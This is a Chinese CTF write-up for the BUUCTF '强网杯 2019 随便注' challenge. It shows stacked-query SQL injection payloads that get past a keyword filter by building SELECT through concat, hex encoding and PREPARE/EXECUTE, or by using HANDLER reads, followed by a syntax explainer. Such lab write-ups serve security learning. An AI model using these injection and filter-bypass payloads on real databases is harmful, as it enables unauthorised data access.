首页 > 其他分享 >BUUCTF [强网杯 2019]随便注 1

BUUCTF [强网杯 2019]随便注 1

时间:2022-11-06 17:46:38浏览次数:49  
标签:EXECUTE BUUCTF string PREPARE jia 强网杯 2019 1919810931114514 ID

1. 拿到题目,先输入一个1'试一下是否存在注入点
报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
说明存在注入点,而且是mariaDB,那么可以使用mysql的语法操作
2. 联合查询一下,输入1' union select 1, 2, 报错
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
说明后端有对传入数据做检查,不让出现这些关键字
3. 注入1' ;show tables -- 展示有哪些表
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
4. 查看一下1919810931114514这张表的结构,注入
1'; desc `1919810931114514` #

回显

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

说明该表有个字段叫flag,需要把这个表的数据输出出来

方法一: 通过预编译手段(通过拼接select 绕过检查)

1';PREPARE hacker from concat('s', 'elect', ' * from `1919810931114514` ');EXECUTE hacker;#

方法二:通过预编译手段(通过将查询语句进行16进制编码绕过)

select * from `1919810931114514`语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460

注入
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

或

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#


方法三: 通过mysql的 handler语法
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

PS: 语法讲解

1.预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤

格式:

PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
举例:查询ID为1的用户:

方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
  1. handler
    handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;

标签:EXECUTE,BUUCTF,string,PREPARE,jia,强网杯,2019,1919810931114514,ID
From: https://www.cnblogs.com/gradyblog/p/16863147.html

相关文章

  • 使用vs2019的scanf报错怎么办
    我之前看视频(p3,23:38)的时候发现可以通过这样解决报错在开头加上这个#define _CRT_SECURE_NO_WARNINGS1首先先解释下为啥会报错,就是scanf是C语言标准的语言,但是有些编译器......
  • 2019内部赛团体赛
    Webcapture302跳转直接curl-vvvindex.phpsha1_test弱类型比较数组绕过。http://b283de07890c42318826c8e4b0c62fd24b8bacd9b7c74ba8.changame.ichunqiu.com/?......
  • 2019内部赛个人赛
    pwnElectricalSystem在Plaeaseenteryoucardid中,可以存储shellcode,在读取choice的地方,读取了0x20个字节到Int变量中,形成了站溢出,构造ROP,将函数返回地址指向到cardid......
  • BUUCTF-PWN-第四页writep(32题)
    重感冒持续发热五天,拖到现在终于发第四页的题解了axb_2019_heap保护全开的菜单堆题但是存在格式化字符串漏洞add如果key=43,那么大小可以自定义,不然最小只能是......
  • Windows 10下基于Visual Studio 2019编译配置VTK 8.2.0
    参考:https://blog.csdn.net/weixin_42694889/article/details/1159645331、下载并安装VisualStudioCommunity2019、CMake3.19.0;2、下载VTK8.2.0并解压:https://vt......
  • JavaWeb期中考试-2019年版总结
    关于这次2019年期中考试的练习,我想对它进行一个总结,首先,对于完全没有接触过javaweb的我来说,只是在课上听建民老师提了一下要做这个东西,因此在一开始只是先学着怎么画html......
  • JavaWeb期中考试-2019年版(六)
    本次是JavaWeb期中考试最后一个部分,系统更新和数据显示的代码分享首先是updateq.jsp<%@pagelanguage="java"contentType="text/html;charset=UTF-8"pageEncodi......
  • Office2019 正式版(Office办公套件全家桶)v16.66.1mac/win
    office 2019是一款强大的办公套件,包含的五个办公套件可以让你在职场游刃有余,其中Word2019、Excel2019是应用最广泛的软件,PowerPoint2019、Outlook2019、OneNote2019......
  • SWPU2019 Web1(无列名注入、MariaDB)
    看到登录框,admin登录试试,无弱口令。注册新用户,发现admin无法注册,于是随便注册一个用户进入后,申请广告招商,发现有xss漏洞,但这题并不是考察xss。随便发布一个广告,看到url有i......
  • JavaWeb期中考试-2019年版(三)
    本次内容为2019年期中考试的数据添加界面add.jsp和数据接受界面addq.jsp的代码分享首先是add.jsp1<%@pagelanguage="java"contentType="text/html;charset=UTF-8"......